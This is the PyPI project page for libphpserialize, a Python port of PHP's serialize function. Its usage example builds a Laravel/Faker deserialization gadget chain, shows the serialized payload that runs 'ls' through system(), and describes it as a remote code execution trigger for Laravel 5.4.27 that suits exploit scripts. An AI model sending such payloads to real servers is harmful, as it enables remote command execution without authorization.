Skip to main content

A port of PHP's serialize function, in pure python

Project description

libphpserialize

A port of PHP's serialize function, in pure python

Features

  • serialize objects directly from python objects
  • nested objects
  • namespacing
  • variable Access Modifiers (public, private, protected)

Example

from phpserialize import serialize
from phpserialize.decorators import namespace
import requests


@namespace('Faker')
class Generator:
    protected_formatters = {'dispatch': 'system'}


@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
    protected_event = 'ls'
    protected_events = Generator()


print(serialize(PendingBroadcast()))

with above code, you'll get:

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}

which triggers an RCE vulnerability in Laravel 5.4.27

nice when you're writing an exploit script for others to read

Important:

  • the code is written and tested under python 3.7+
  • decimal serialization doesn't work the same as PHP does, yet

TODO

  • recursive objects support
  • reimplement decimal precision calculating algorithm from php engine

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

libphpserialize-0.0.1b5.tar.gz (3.9 kB view details)

Uploaded Source

Built Distribution

libphpserialize-0.0.1b5-py3-none-any.whl (4.7 kB view details)

Uploaded Python 3

File details

Details for the file libphpserialize-0.0.1b5.tar.gz.

File metadata

  • Download URL: libphpserialize-0.0.1b5.tar.gz
  • Upload date:
  • Size: 3.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.3.0 pkginfo/1.6.1 requests/2.25.1 setuptools/56.0.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.5

File hashes

Hashes for libphpserialize-0.0.1b5.tar.gz
Algorithm Hash digest
SHA256 14e231dacb361b79d06b077d46acbc5fa06d760eb5151d16c506b2438f7a553c
MD5 2b689a9ebf683bc097283adf6c14fdc5
BLAKE2b-256 85ce6ab21abfbc8f1fc09116b89a155d0e67594a243601ac0e857087a1baffe0

See more details on using hashes here.

File details

Details for the file libphpserialize-0.0.1b5-py3-none-any.whl.

File metadata

  • Download URL: libphpserialize-0.0.1b5-py3-none-any.whl
  • Upload date:
  • Size: 4.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.3.0 pkginfo/1.6.1 requests/2.25.1 setuptools/56.0.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.5

File hashes

Hashes for libphpserialize-0.0.1b5-py3-none-any.whl
Algorithm Hash digest
SHA256 5188d822dfe6850ee9b8bf526481922696a9f14213d8dcfa4e669028d41bf2a6
MD5 e9b77357a7fcb5d82865ba27a7f5cdec
BLAKE2b-256 bee90dd8e5a44482591e72f91b4897009005ca963b2b5a441b5fce342f09150d

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page